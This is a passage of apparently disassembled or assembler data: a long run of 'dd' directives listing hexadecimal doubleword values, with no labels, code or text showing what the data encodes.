6DE3CB96h, 20002357h, 0ACDD3C90h dd 770DB734h, 1AD40056h, 5801E1BEh, 7700D6DFh, 4B542363h dd 1B76003h, 746CBA76h, 0DC3F19B3h, 7716D458h, 3FECF29h dd 8D0DE329h, 0EB8E8800h, 85E2877Ch, 2330044h, 2D82A2D0h dd 68E6B81Bh, 61C0F400h, 90448E91h, 2CD32DDFh, 0AA460EFFh dd 0AC009F65h, 0CF603D1Ah, 1C67059h, 0E8497F0Eh, 0D4B42A1Eh dd 4300AFA0h, 946AB036h, 51E9ACh, 681FF572h, 5B28B84Bh dd 12C4400h, 8F27E3E6h, 63350029h, 17CDB56Eh, 0F2002FA0h dd 14FE1151h, 0D91BD1h, 3941B905h, 0FB093519h, 8B37B314h dd 0D5DE03F1h, 985FA68Ch, 2C215EF5h, 0CE6F7Eh, 1EDA516h dd 6300C4DEh, 9C279941h, 3625DC1h, 0A7D78403h, 38C09659h dd 5B00872Ah, 9DBFDA56h, 58ECCh, 9E97807Ah, 6FD7DEBBh dd 55AB8100h, 5194C2C1h, 42D11D59h, 6C41002Dh, 5A290683h dd 0D7573006h, 76C2E1Bh, 19FE0A50h, 5D31C09Bh, 9E075AA1h dd 0B323D31Fh, 0BEB2BA20h, 663C00DCh, 0E1885C2Eh, 7E00F1F8h dd 0E5D71549h, 396E2185h, 47009A41h, 0A7429B97h, 0E800E60Eh dd 542B04A4h, 43C899h, 7A2DDF32h, 0BB9623F6h, 0A2FC490Fh dd 2F80BD5Eh, 509789BAh, 0EB800E5h, 4938CD29h, 0F0E5375Bh dd 19057F83h, 64CFC5B2h, 3E733AC0h, 5AC00787h, 0AF3AD0A4h dd 4FB8B361h, 0FF79F0FBh, 45BD800h, 740285BFh, 385800BAh dd 0C13A70A1h, 0AAB8331Dh, 0DA6F6900h, 0FF2228CAh, 18C760B1h dd 5BFA93CFh, 5F07401Dh, 970B80FDh, 2E4EE884h, 0EFEA00E5h dd 887DB105h, 443B678Ch, 4C93EB7h, 40088B28h, 38AE0EC0h dd 323C005Fh, 25CFED09h, 1800B46Ah, 0DD907479h, 98E2DBh dd 3CD4F24Ch, 5677E15Ch, 3667410Fh, 0AC704303h, 0BA84806Ch dd 0A0B40029h, 0AD4827B5h, 2F3D018Ah, 91778F0Ah, 0B6C14034h dd 0BDDCC3h, 368FD6ABh, 9A2D67F8h, 56E7D0F7h, 1D580D3Ch dd 40838E0Eh, 0F816AF70h, 0E47F6A46h, 7A67F862h, 9F7BCDh dd 3C349CE0h, 76F70C80h, 0EC65A000h, 3B0D48F5h, 42D003CBh dd 0E78E5C96h, 67A0B3A7h, 0A4B5A1F0h, 47CF1C00h, 0B19F9BEEh dd 0D1AB00FDh, 0B40DEF5Ah, 6B00425Fh, 6380E420h, 0F4EA6FFh dd 69FBB064h, 0F5A52A00h, 5309C91Ch, 0AD8D70h, 7AE61A8h dd 745D01FDh, 0F8A9DD40h, 0F999603Bh, 397A1E4Ch, 3FE31C43h dd 60AAC540h, 0A91C41h, 7B916C8Fh, 18296F92h, 9D16D000h dd 0C157622Eh, 1150001Eh, 3608E331h, 0F8FF2528h, 980E5807h dd 473CCB3Eh, 7E505633h, 0FC9E74DEh, 0A9500F8h, 0E9527355h dd 1B007B06h, 0FD6DB477h, 705AFF65h, 423F3FF0h, 0C8F2EF80h dd 0F4A3593Bh, 4BFA691Ch, 31A48780h, 7DF7DBh, 8FDED3D8h dd 5F092835h, 0A842200h, 0D9BDF6FBh, 470C03EFh, 4B3AD739h dd 54191DB0h, 9E0032ECh, 80BFF410h, 55AA46h, 4873579Ch dd 54E76B50h, 1C84FF00h, 33CEDFABh, 2FB8007Dh, 6EBB267Fh dd 677DB281h, 6D15D000h, 5E17CFE5h, 8DE10B2Fh, 6E849388h dd 9F90C0AEh dd 0A30013F3h, 0FFA724F5h, 0E2244h, 0A6D3FAA2h, 19344192h dd 30718800h, 85AC1F89h, 209E00A4h, 0A518870Fh, 0F50E61CBh dd 8241C72Ch, 0BAB5F3h, 5AB86CA9h, 1603857Ah, 43175C15h dd 0A5ECAD80h, 8FF3400h, 9CDDD92h, 0B1009879h, 0F61F3E93h dd 99E3F1h, 5C777580h, 0B2625271h, 3BE2D300h, 0BE410FEDh dd 3F847C11h, 0F8AA08h, 4E0968A7h, 3CA17457h, 0C2A89000h dd 0F1C68404h, 242E0301h, 0B47ADE95h, 0DEE5FD0h, 0FEE858h dd 0CBCE5EA0h, 91EB9E12h, 0D67A00F8h, 0AEC11F18h, 6ADD1B00h dd 59A8466Dh, 0E61230D0h, 33EA35EAh, 0B50001B0h, 0AF3B98F9h dd 743039Ah, 0D2C07EA2h, 9083E061h, 3E0741C3h, 0AF498F10h dd 88150BB0h, 0B2A30045h, 67810C3Ah, 42C014B9h, 222B4E05h dd 742400FDh, 0B8CF908Ch, 0E80F83F5h, 0C0110AE4h, 590B3A52h dd 6D61039Ah, 8918D050h, 0E1C995E0h, 6F458700h, 0FC35B201h dd 0CC3D010Fh, 6DCF471Eh, 0A7D4F0EBh, 0CBAD2500h, 22827A26h dd 0D87185h, 0F753B970h, 0AD382BBAh, 0D29FD000h, 1C2884FCh dd 1AB7004Ah, 610C223Bh, 0A101698Ah, 0BE7B888Eh, 73ECA6B9h dd 0DE6007E2h, 7017C95Dh, 554F1ED2h, 0ADD59301h, 0BAD4C750h dd 4C1AEBE4h, 0F65890B2h, 2543D00h, 0F7A3D755h, 3F2B5E00h dd 0B2B014C3h, 0D5BF0010h, 0F4FA67EDh, 3A1678EAh, 0A80090AEh dd 0BCDB7185h, 0B7FC056Ah, 809BC02Eh, 0CD7EB259h, 0BF3A800h dd 0CE4DA59Eh, 0D68000B8h, 9CF5F9E4h, 0FE1D1463h, 930FF4E7h dd 0EDAA7B6h, 516E8A10h, 59A1001Fh, 74BB3253h, 4000B8D9h dd 6FDA6B0h, 7F1D49Eh, 800A1AF3h, 0F07F610Bh, 0E809D934h dd 1B003A83h, 0C4740DA1h, 90CF97B7h, 79FB005Eh, 229ABA43h dd 1000A563h, 418D35A3h, 7C0A0CCAh, 11CE0172h, 0CFE1D8A0h dd 15E4D062h, 655F5D01h, 0F2CA1070h, 0AE72220h, 0DA0EFF83h dd 2A990FEAh, 0CE9B9AC0h, 0DF00B3ECh, 7A327741h, 9047AB12h dd 0E834F9F0h, 59DA00CAh, 61319FC8h, 0CF002DDCh, 43288A5Fh dd 588DADh, 9B79ABC3h, 0E8D54402h, 1425439h, 8C3ACCDFh dd 4F20A146h, 8B9200E6h, 25D3D64Ch, 9D005539h, 0B47207D5h dd 19E53D1h, 134CDD09h, 0D8751132h, 930049B8h, 0F57FB1C4h dd 98898679h, 293A0000h, 97DAB9A6h, 9001F07Ch, 0FC9B9910h dd 0C4D0F285h, 61E20035h, 0CC0B7884h, 0D41DF507h, 55C750E3h dd 23C08FACh, 0AE2E0Eh, 26321713h, 94B6E6CEh, 0E8BC50C0h dd 5C4A79A0h, 6B109C9Fh, 908780C5h, 0BB21B52h, 0A7EDF0E6h dd 0C095BC07h, 0A0EE54FAh, 0BFAFDB00h, 6EE56A4Eh, 2997004Ch dd 9DD5A3F0h, 4A3B575Bh, 91AE9FA0h, 7D07003Bh, 4844F837h dd 30BE6FACh, 631B86A0h, 0F100B812h, 352577FBh, 1354D37Eh dd 0B282E4h, 0BCC29F76h, 0E228C40Dh, 0CF04875Ch, 0A209560Fh dd 668F4EC0h, 8A370064h, 31E2CDF4h, 3F00538Dh, 0EDD9AB87h dd 66E736h, 0BB830620h, 0F0DACBEFh, 0BC0096E6h, 0DBCCE92Eh dd 5207653h, 0B8BB97F7h, 39E1C3D5h, 0F8835688h, 0D0824Ch dd 228C0369h, 1DB9CAC5h, 7A74B41h, 11A1336Ch, 0F0AD0747h dd 3B161CF4h, 9F1E2BE6h, 0AD748C0h, 16E3F3h, 0A18CA5DBh dd 531544DCh, 0E1AC5800h, 12D74D80h, 69890E31h, 52A0551Bh dd 0ECBD610Fh, 0D07029F6h, 6A68703h, 0A8A1B228h, 764666h dd 0C6AFBB4h, 0DEC8E6D9h, 4072B817h, 0B697F400h, 7B09CAA3h dd 32D0019h, 47BECCE4h, 0F7093946h, 2C9F30Fh, 0C0547AA8h dd 2F063C40h, 377E583Fh, 4A6F2800h, 0FCF5902h, 0DF3A47D5h dd 980068A9h, 1B8B18F7h, 77903348h, 926A3902h, 405A299Ah dd 0DC3E98h, 5BACA938h, 9836D705h, 9EB66B00h, 37EBBFB4h dd 2D9900E5h, 0C6C1AFC8h, 9C502C9Fh, 7D3011B8h, 5A0A9090h dd 3DC1C09Bh, 1A24F461h, 231E8100h, 551DA57Ah, 954C000Bh dd 0B0B30DA4h, 20BA4318h, 5733C408h, 36CF0077h, 5BC8479Fh dd 7F0068ECh, 3C202893h, 7FCF004h, 0A471AD72h, 0C9596070h dd 0F4009F61h, 39217E47h, 9434E76h, 77A6CE9Ch, 65497480h dd 7148DCFBh, 2DB20C60h, 0F834195Bh, 0D88B4181h, 2100D1CBh dd 7952BF2Fh, 1FA1D3h, 0E5B9A8BAh, 0BCA55E97h, 93FCD500h dd 3BAAEA80h, 936F0CCh, 0A3DDEC43h, 0BCC46C0Fh, 9E6881CEh dd 0F7702094h, 1429CC18h, 165E6398h, 0B7D561h, 4F4DAC37h dd 0ADB80609h, 0A4FC5903h, 0D0FE57F8h, 1256606Ch, 83E3368Eh dd 7CF86D24h, 0E0007055h, 682A354Eh, 0FAF0C9h, 1ABC9D5Ch dd 535475EAh, 28DD048h, 0F2C6A2A8h, 861C60CDh, 0B853101h dd 58FC4CF9h, 0D844F388h, 0B65C0757h, 0A36532A7h, 0FF852ABh dd 100E37A0h, 0E0A38719h, 0DE673057h, 0E70B0979h, 0A8836375h dd 5AE8B5D8h, 8509196Eh, 89F278CAh, 0C7130250h, 0B7F8A0A7h dd 702F72D9h, 83788Fh, 7B5465FDh, 0DA4D1001h, 28B0CD30h dd 0FCA7B51Bh, 0BF420061h, 5BF139FFh, 400DA81h, 0E7BEEAF7h dd 0AFC9001h, 4B45242Fh, 94BB00B0h, 7E2AEDADh, 0A037D100h dd 293E9035h, 70061739h, 0E6B806BAh, 2E0C313Ch, 96FD257Ah dd 9CF600BEh, 496F678Ah, 5A370820h, 0E4F02938h, 1B3D02Fh dd 88FA9052h, 0FC693E32h, 2109AB45h, 265737Dh, 6BB6DEB4h dd 0A6B298C8h, 7B4C0F87h, 0C0DF450Fh, 0E37C510Eh, 42389D77h dd 19D6812Eh, 0BF5F4EC1h, 42601061h, 24B098h, 3EAB5DBBh dd 0F0791E7Ch, 4A500400h, 358EE40Ch, 0FEA2Ch, 3CEEF72Bh dd 29326DEFh, 0E4DCF928h, 4CCBFB2Ch, 0F22750h, 9AED4C82h dd 0C66EC25Fh, 0C40528B0h, 0CA2A06F4h, 0F240E81Ch, 0BDCEA2EFh dd 7D491F28h, 1CC101CBh, 20897164h, 0AF3FFA90h, 80B13C9Dh dd 4B7AA46Ch, 0C2FB39h, 0A79F73A5h, 0FF6E846h, 0E86E100h dd 283F49FDh, 0FCC7003Eh, 0D95CB615h, 4E726F53h, 29A2DE00h dd 0B54ABC24h, 7E0E6F9h, 36D85671h, 834360C8h, 8E0007DFh dd 0ADC04E70h, 676133h, 0EE39CB14h, 3D02A9AAh, 0B82AE200h dd 88B4CF3h, 482D001Fh, 0F4A7C1BCh, 0ED190C9Ah, 35862F5h dd 506CECh, 5DEE8C6Eh, 7A1D4E8Fh, 2861D300h, 0BD3CCDACh dd 0DCD90563h, 0C083FE93h, 8E5DC77Fh, 36FDEE2Ch, 2A4BCC00h dd 18A01C4h, 0D41013BFh, 0E0E2C711h, 0C200E5CFh, 94A76340h dd 39580851h, 6A80B6F5h, 1FCCF06Ch, 24004DC1h, 8FF23BD3h dd 8AB41Eh, 60834687h, 0ABFEB14Ah, 69C5FF00h, 57554181h dd 7CF4037Dh, 0AC5E8D19h, 377F4CF0h, 0C32E6B71h, 48009598h dd 52D1741Ch, 0DB230177h, 72F66DC4h, 6CD04880h, 8B001578h dd 0B09ED3C5h, 0F68DFC4h, 5A93288Eh, 7A8C0700h, 6E7B6A59h dd 0E2026100h, 0D4D216F7h, 4D0A00E4h, 37F190C2h, 8E000918h dd 843C9FFFh, 919BDBh, 35AECF28h, 0F8AFFCABh, 9700BAEEh dd 963E39EBh, 64BEC0CBh, 0C01019DBh, 689CD8Ch, 8129F900h dd 6C735BA3h, 3B8A00F8h, 0A6670D59h, 1800BAFEh, 0EBA2E6D3h dd 0F464BED1h, 0BFCA0012h, 0F04C8A9Dh, 7000DB1h, 772D03A1h dd 0AA5986h, 9E325D18h, 0B64520CCh, 0D900137Bh, 8D5FC636h dd 5EFA86h, 0FBD7DA2Bh, 3D8F9CA5h, 0AA66E400h, 84964193h dd 1DC00001h, 9D27E1FCh, 0B005879h, 0ED3C334Dh, 0DC9591h dd 886D8792h, 5A22A971h, 1A20CE00h, 0BFF1DB9Eh, 175100B3h dd 0F788AD75h, 0EA00895Ch, 8447D3DAh, 952FDFh, 0EE498BC1h dd 1D6ACE10h, 822D3507h, 0D3F088E0h, 5A43B9h, 52F6640Fh dd 0C1E1D9BEh, 0F5318A00h dd 0E25F50BFh, 2F8100E3h, 9ECE52DAh, 26004029h, 0A61CEDFAh dd 3B5BDFh, 302D8D34h, 782979A1h, 0AAD35300h, 6A541135h dd 7BF3013Bh, 0E6C0EFB2h, 0DA8A7024h, 5318300h, 0B6B1F678h dd 0CADC0092h, 464455D2h, 6000651Dh, 5EB7351h, 3FF9AF0Ch dd 6B80B890h, 9243FE8Dh, 0D2A1B64Eh, 13B5F857h, 51426400h dd 5B8F30Eh, 0FDF2A143h, 0C0AF2081h, 705F0A23h, 8D00B037h dd 0A15E5978h, 1C6B7EBh, 0D24721F9h, 0F4EF96C4h, 0A600C912h dd 0F09B761Fh, 0B063Dh, 7B6E49B9h, 0DD273913h, 3509AD02h dd 40FFBE4Ch, 0F838B8h, 0ABE80E6Eh, 0ED9A7031h, 0D9097D00h dd 478F81AEh, 38700E6h, 803E1B14h, 2800FE2Eh, 357BE5A4h dd 643775h, 0DD74EC04h, 8CB2D4CAh, 0F07340h, 5DC9134Fh dd 63E6F991h, 0ED077500h, 0BB5AC77Fh, 0B98B0EF8h, 0DC4A8576h dd 0DE1386h, 2386AE00h, 8A3D8FDDh, 8E5280FEh, 6A81A67Dh dd 0E9BA003Ah, 0C0FCAAB7h, 0BD00D4E2h, 1A03C35h, 70CF6468h dd 440B0012h, 0B4C30D53h, 0D200BAACh, 58278CB5h, 47DBBDh dd 83947DCEh, 57A546D0h, 68D9D700h, 0D40D72B5h, 0E2220301h dd 0A99E06Dh, 0C1EF2EA8h, 1CF9EB00h, 0ED3D917Eh, 135F001Fh dd 0BB4DFD77h, 53005A8Bh, 0FC83309Eh, 394E0AA1h, 15BF39E2h dd 664DDB80h, 0CC016886h, 81456A00h, 131C17A2h, 6D351E72h dd 2046000Bh, 0AC03718Dh, 379B3200h, 5D68DE7Ch, 0A1F040h dd 0AFE3B4C4h, 8B307363h, 1B9430Fh, 0BC516C11h, 64D34CC6h dd 89ADAC0h, 0CA006D47h, 0F07E83BCh, 914B2A4h, 6A29583Fh dd 36910480h, 0C3E0088Ch, 3B48D676h, 0BCB60094h, 0CCFFF968h dd 75AC01BBh, 5D8201BDh, 79ECF8A7h, 7FDFEA00h, 8A04A292h dd 57F44Ah, 0D67E5654h, 1C86503Fh, 0EE275101h, 0D348E4B7h dd 8CDD60h, 5985AE69h, 0F04EE250h, 92C58400h, 445CB767h dd 6F7E03DEh, 1A6E9CE6h, 0BA8327A8h, 7F6A7B12h, 70F8F600h dd 3691630h, 0EFBBCFCDh, 9588F6F7h, 6E00269Bh, 5B32788h dd 0B98149h, 6D701BECh, 61647EF7h, 1FBCC300h, 970648B6h dd 943E00FFh, 0D0F07253h, 0A0C542Ah, 0A0732C6Ch, 8E2E126Ah dd 115C4F5Eh, 0ECED6640h, 0F001A88h, 0C5AEE11Eh, 50192915h dd 1F7E8BDDh, 40A4BBFEh, 58F78701h, 76281245h, 8F00FC6Ch dd 0E0846195h, 1EDC809Ah, 8082BDA2h, 0C3CED2F6h, 3005444h dd 0B3FDB011h, 11D21DCh, 9F7E2C01h, 0C8289E92h, 0D9790ECFh dd 0DE94F700h, 0B8FAC833h, 0A64050FEh, 0A7891351h, 0D4880057h dd 0BBE34159h, 49957900h, 4C2FC267h, 0D23B0E86h, 12FBB8h dd 55C717D8h, 400DE8Dh, 0F83B78Eh, 0EA35CAh, 5D08ABA0h dd 846760B1h, 0E4F1C100h, 7645EF9h, 0A30AC07Dh, 0A0917B3Ch dd 6CC7A400h, 43E7BD6Eh, 0E0DB0159h, 79B33A26h, 4000E346h dd 858EF6D0h, 2C68304h, 4E64C80Dh, 0B8809698h, 0BE3D8DF2h dd 9900C37Bh, 30501A05h, 35B064Dh, 468AF041h, 11B01076h dd 0A4790EADh, 8308D63Eh, 5924DABAh, 3E98E896h, 0C0A007CFh dd 90B4E3E4h, 17944B4Dh, 62928E17h, 20129C0Fh, 1CCFA231h dd 20210056h, 544973C4h, 0BC0F3413h, 60EBA41Eh, 32191447h dd 5CD03C93h, 0EDB8BB00h, 0AF7959A7h, 0D27BA000h, 0B08AC905h dd 2586079Bh, 0D0981361h, 2FB54DCEh, 58EC3B25h, 2BDF123Ah dd 702849C7h, 716D3020h, 4D004A1Eh, 557C83E9h, 77A06E5h dd 0F420C09Bh, 47280C1h, 0F0B0B92Dh, 3090A767h, 34C0EB75h dd 7A2F707h, 0C39C91F5h, 61AECEADh, 245C6B80h, 6D0080EEh dd 0E3399D5h, 12900367h, 5F577C59h, 8F56C0FCh, 68D31482h dd 0A7B43100h, 0A732E90h, 5DB822h, 1D5ECDD6h, 20C46ECAh dd 67DFFC12h, 41D77400h, 4CD4F73Ah, 81007D0Bh, 7C258D8Ch dd 280095AFh, 6C6B52A0h, 31F9C36h, 33E28402h, 25D80E7Bh dd 9305DA17h, 2AA7D0F1h, 6755CC90h, 0C81800E4h, 0B08C2684h dd 68795958h, 0E0FB0500h, 3FD3E6FEh, 9B83048Dh, 0C0FA7A8Bh dd 94E1E944h, 18FBEF00h, 0D7B76077h, 33A3007Fh, 0DF68F243h dd 465CF3C1h, 6CCB0313h, 0AC28E622h, 8340480h, 9E440296h dd 6B38C90Ch, 1C818C84h, 89073F40h, 24C78BC3h, 80C8D282h dd 4E8EEE4Fh, 0E27230FAh, 0F822C403h, 51E0C3h, 0CFB34114h dd 2F53C86Eh, 1F6C1100h, 4C819C29h, 0B0BC1EF7h, 0A7448171h dd 24B389C9h, 0B7008F1Ch, 0C7C16131h, 0E6103F05h, 24EC8Dh dd 2D9B6B07h, 0D570C6F9h, 0BAABA413h, 8FBF00BFh, 58F8F2A6h dd 6E791C13h, 9BFF3400h, 25A72F59h, 0C00151Dh, 88D7536Ah dd 0B8270B18h, 0E27F70h, 8CD222A8h, 0CB7DBC68h, 0DE3D2AF0h dd 0B7809EFBh, 0FCED7180h, 0B33DC99h, 0C21211D3h, 0C41D880h dd 2042AE6h, 361FC457h, 0DB44A0h, 72DFEF34h, 0B82CDECh dd 44579701h, 0C85348CFh, 0C808CD9h, 59D234A4h, 93EC380Ch dd 0E84AAA00h, 2FFB6BFh, 0C7C00083h, 77AD47D1h, 0AE00EC29h dd 0E63ED35Fh, 0C517D2h, 64317E1Fh, 0D8A52D12h, 17D70548h dd 0C84F2E88h, 0C24380E5h, 1F70C0Fh, 6ED0679Bh, 0D43C1FA7h dd 0D6FAB714h, 3E1E2500h, 9A627105h, 31CEAF9h, 99D9F26Fh dd 44A90AAFh, 83F02093h, 1820BC00h, 7ECD6CACh, 684E0073h dd 0FA341C3h, 7A03327Bh, 88D39B4Dh, 3C1E13Fh, 995834h dd 141F94A9h, 8CF26884h, 0C1F14400h, 11D6BDE8h, 570C000Dh dd 0CDFCE202h, 3A037E1Eh, 37591516h, 181003B7h, 0AF21D109h dd 55AB57C0h, 0BC893E00h, 1844034h, 79B27BAAh, 95FD000Fh dd 0F0CCE0B7h, 36005E1Dh, 0E35272FCh, 246B5A04h, 2D94D7A5h dd 0A100BBF4h, 0AE9F56FDh, 0C26E3313h, 7AC83960h, 0C9000154h dd 3C05E699h, 1EC448F7h, 0C0D5379Ch, 14EDAC3h, 0B93F9615h dd 0E73F0327h, 0F88CE545h, 5AFAB3Bh, 0ADD943E8h, 0FBBC8874h dd 6EFE4Ch, 0BEEAF3D0h, 401593h, 453F5A8Ch, 8CAF863h, 0B8541A00h dd 0E2C3AA30h, 0E9F0E7h, 4CD6B4EAh, 0D3176E32h, 0F600AB90h dd 15B72DDFh, 0E8591436h, 73E800C4h, 0BAF172DEh, 1F01A8B5h dd 836761CFh, 4C30F9EDh, 47FC07BDh, 575A3CF0h, 8A0DB096h dd 313B228Bh, 8DAE1EEFh, 0FD0044A6h, 5BE6A57Ah, 0A3E009Fh dd 13968308h, 20C35DEAh, 0E0BD5A19h, 0B74B611h, 0BE7F26FFh dd 3ED8600h, 0AB79670Fh, 687F2BE4h, 73A0A61Fh, 0AEEF8540h dd 0F944F9Fh, 776C658Ah, 47B131A0h, 0DC00958Bh, 7302E350h dd 57E6C7h, 97E2A7A3h, 936A879Eh, 43524F00h, 4630B1F5h dd 0F86EEEF1h, 45BD07A6h, 209759B7h, 26FA81C5h, 3058B12Ch dd 0A08D938Bh, 0F2B5260h, 19F4033Eh, 0D59D31D3h, 0B7D43E8h dd 94884D00h, 0B48E9991h, 9C700F1h, 55BCB236h, 1898A6A0h dd 3113AD00h, 1808E0FAh, 0C89F00E4h, 0F075A74Ah, 6D010B2Eh dd 590FBE58h, 0D1EC2C55h, 0E85F0901h, 4CA0A080h, 37C90693h dd 7C0ECE0Bh, 586000ECh, 3D09335Ch, 14BE8713h, 3E8AEF01h dd 8E9356AFh, 3D723278h, 6DB42D00h, 1276B152h, 0F023F5h dd 2F7A04E8h, 0B800FC13h, 40365F9Fh, 9FEADDFFh, 0DA007470h dd 0ADD17DE7h, 52BF0h, 5783B913h, 58515EF1h, 0F6F8524Bh dd 0C96CE401h, 0DCA67810h, 8900FF42h, 86653FEFh, 16A107E7h dd 442F2B0Ch, 4F0F9Ch, 0BE951792h, 49990058h, 88542451h dd 0A80736D6h, 555C2E44h, 1674FB70h, 0A21E136Fh, 83FE00F2h dd 4D29C0B1h, 5200DEE0h, 7D185577h, 1F504228h, 817EB732h dd 0D1682046h dd 0C6F03049h, 762520h, 0AB65D481h, 129A334h, 1A82CE00h dd 46534F9Bh, 1BF90373h, 0E4D341FDh, 7540729Ah, 590082DEh dd 0B4C17D40h, 71D3608h, 9629E84Bh, 0AB03CFB3h, 4EF8D63Fh dd 44ECC95Bh, 0DE78D300h, 0D1A0DAF0h, 48EF00EEh, 287C34C1h dd 0B5004718h, 0ABD35095h, 716360h, 0FC8B06B3h, 0A707995Eh dd 0A4088900h, 0C37F7564h, 9AB8016Ah, 0A2F3567Ch, 8E92E0C6h dd 0A00FDB0h, 0E242A3E9h, 98946E5Fh, 385600ABh, 0CCE58F47h dd 8D007E19h, 0C03571AAh, 2CD5E2h, 0FFBDEF3Eh, 330A5091h dd 0E640CF00h, 0A49516BCh, 0B0D11CF9h, 83833C1Fh, 0AEB42061h dd 36AB3EA8h, 12CAA600h, 7E2304F9h, 0B0C03E99h, 8F9CDC80h dd 9328FA3Ch, 8075FF0h, 0AC70B755h, 0C245C01Fh, 1D14ABh dd 96D3CE4Dh, 4A6241DEh, 0D5773200h, 6545D181h, 140A00C8h dd 92729461h, 3F7FDC87h, 0FC8D6209h, 3936000Eh, 1D451Eh dd 8A511A97h, 508E6636h, 2300CCE2h, 0B9C4EB95h, 42F22Dh dd 59A871Eh, 664AB70Ch, 0DA3BBE1Fh, 93101400h, 0A65F54h dd 3822F5B5h, 7E2F876Ch, 0BAFC0B00h, 93409824h, 0EB789F63h dd 0A1123100h, 51060C82h, 1E728Ch, 0B50B9C9Bh, 0CD49F0C3h dd 0F274BF00h, 9A6A96F4h, 0BBE2001Ch, 0BD19EF26h, 7A00242Eh dd 0A0F25DE0h, 0EB118F4h, 0F0FDE7EDh, 0C808A0Fh, 11C2EB0Fh dd 879E9539h, 0E8103559h, 3D04280h, 1C96F8B9h, 0FED48C19h dd 0A1286480h, 0C5D724D5h, 53ED6500h, 84803839h, 0FB3000F0h dd 0A2A70C69h, 9D00E088h, 709AAD16h, 1D555012h, 4B7374h dd 0F4E2A38h, 4100A4B9h, 1088A1F2h, 2835A06Dh, 7E8C2175h dd 0A23B0027h, 0E60666Ah, 2A0F9B99h, 608ED5F9h, 0E80FEC1Dh dd 331B1FCAh, 1FC94274h, 386019BAh, 0CE002541h, 4CBCC273h dd 283F9Dh, 60D9AF15h, 8D358205h, 75A39B00h, 0E57FB00Bh dd 0D387007Eh, 131626AFh, 5D000550h, 41F90127h, 1AEC5A1h dd 0B4D8E003h, 506CA269h, 63ACA3D0h, 5E00E8FEh, 4516CC41h dd 1EE3D908h, 1879F77h, 0F522BE3Fh, 0D4C44069h, 9D008A8Ch dd 0D0FC2C13h, 1B4D17h, 8793325Fh, 756D1ABDh, 0CC20243Dh dd 0A204004Bh, 0C2FC8141h, 80100084h, 7A38D29h, 1300B66Ch dd 3583A797h, 78B5651h, 3AFDE141h, 0F3DD90A9h, 3900D6D1h dd 0E8EBAC9Bh, 1C14464Ah, 80E1B6CAh, 0EA505856h, 86002E61h dd 4613FD28h, 0E2276BFCh, 0C060E772h, 544700A3h, 0A8980791h dd 0C40063E9h, 0D6953C61h, 7A5ADFh, 5E447D7Eh, 0B5CD1E9Ch dd 0F1EF5D0Ah, 630F08E8h, 30232081h, 0F86574Ch, 0BBF82B8Ah dd 697326A0h, 84928225h, 4ED89C03h, 0B830E797h, 744CBF8Eh dd 4DFB1E2Fh, 7798700Bh, 38EA1BA7h, 868F9906h, 3088E63h dd 0A6019265h, 213AA90Eh, 3FEC98E7h, 18C4D038h, 8CE0347h dd 4E00739Ch, 0AD29DF8Dh, 15257EBh, 0D1894366h, 0CC08917Eh dd 0ABF05810h, 6800CAF6h, 57C936D9h, 0F6EB6F1Ah, 0CF7B740Ah dd 0A6EC7240h, 17016C70h, 611034DCh, 0C30E6E1h, 94E01E1Bh dd 333A8058h, 6BCD2E98h, 88B47430h, 1AAECE7Dh, 0A9A6E157h dd 87996011h, 0D5D06360h, 0CFE69741h, 336E1440h, 0A8180059h dd 584E880Dh, 0D67A219Fh, 0E6D8F000h, 5C375D9h, 535200A8h dd 0FC96D184h, 6D0740B6h, 2274DDF3h, 0A0A1D7A3h, 384477C4h dd 0A8002B78h, 0CF51AFDAh, 8200BDB0h, 0BCB83B21h, 3C84F260h dd 0B31CD5D9h, 618040FCh, 21B764EDh, 1500B27Fh, 0C8F7E0E8h dd 0DCCB6Bh, 0BDCA4296h, 0F0827BB3h, 23E9380Ch, 7B87C15Ch dd 0CE7C0718h, 0E58B488Ch, 0DAA8C374h, 9010210Fh, 3B809E84h dd 6FCFBDCBh, 32A10017h, 4896AD76h, 93F053DBh, 0BD7BCE0Fh dd 0A44E8538h, 81F9C12h, 1C6E4746h, 0F98C0010h, 9F92CD0Ch dd 0E71D0B4Bh, 53152A4Fh, 0D1A61EB4h, 71A11CC0h, 0FEBA0D39h dd 0FF72008Eh, 0BD5B6219h, 7C00CC4Eh, 0EF88351Fh, 1FC9E065h dd 374C61CBh, 4FBB11B1h, 182182C6h, 7953BAh, 7108C511h dd 0D8006091h, 0BAA0E0B9h, 492F0CF8h, 5008E872h, 3200BC92h dd 0F999E0E9h, 6071F8B8h, 36819F3h, 610739D0h, 859A624Fh dd 0A5A7E090h, 366A139Bh, 0A49E1576h, 7773F300h, 0DC70962Fh dd 5A27C303h, 1E5747B3h, 0C0A884C8h, 8EC2E3C9h, 922E6997h dd 0A9090306h, 4180F722h, 647EFD68h, 0A2E02000h, 6EBDD15Eh dd 342D2E85h, 0FD6F0159h, 0F0ED4286h, 8400AAB6h, 0F1E8CB9Eh dd 481FEC31h, 250017D5h, 468B4573h, 53CED74h, 8E480006h dd 0A04BD509h, 8F11C024h, 34C34419h, 39344890h, 0B8C68A2Dh dd 14C60021h, 98AE85Bh, 0E200CC3Ch, 3DD69968h, 7EA74F5Eh dd 860CA4Ah, 7146562Ch, 0EA1AF901h, 80BF26A5h, 9AF692C8h dd 625F52Ch, 8E3536D1h, 6F0030D8h, 0DACB2093h, 0EEC4AEFh dd 53562299h, 0F55CA480h, 3D00E2D5h, 31059032h, 7C3DB84h dd 0FCD886B3h, 540890A0h, 24E2158Ah, 61035D7Ah, 1602F90Eh dd 6BFAE02Bh, 0C37528h, 0EEAC6751h, 73A25F77h, 92CEDC00h dd 25FE534Ch, 710E007Bh, 79886336h, 730F56D9h, 800FF7FFh dd 843ABC74h, 0D2EA0398h, 0E9F16A7Dh, 86A934E0h, 3F616E00h dd 95FA16Fh, 0D3840B3Bh, 0B9806689h, 734D9EF8h, 916EF103h dd 103485C1h, 1DEE21h, 0F17403EAh, 517A26h, 0BB81B74Ah dd 0FE6D9A28h, 52F680C2h, 0C88F0FF8h, 0D138224Ch, 51C05AF8h dd 0AAE4F160h, 39E53CBFh, 712A7F00h, 102281D6h, 0C3748E03h dd 0F817B218h, 0D94D15h, 0B4B3AA1Dh, 96BD5F55h, 5C23Ch dd 8ABE1BFEh, 2CCF57h, 5C1D67EEh, 188E3A4Dh, 51C2C900h dd 41487DB5h, 0C46F582Ah, 5D4A6E07h, 0D1E0C09Ah, 0D5FC7804h dd 0D33DE570h, 776780E2h, 9CFC25D6h, 303BFEBAh, 18CE4B0Ah dd 0A400D2FFh, 0E4371FA5h, 57F28Ch, 520C834Dh, 165E811Dh dd 35EE9B00h, 0EC686314h, 7F1702E7h, 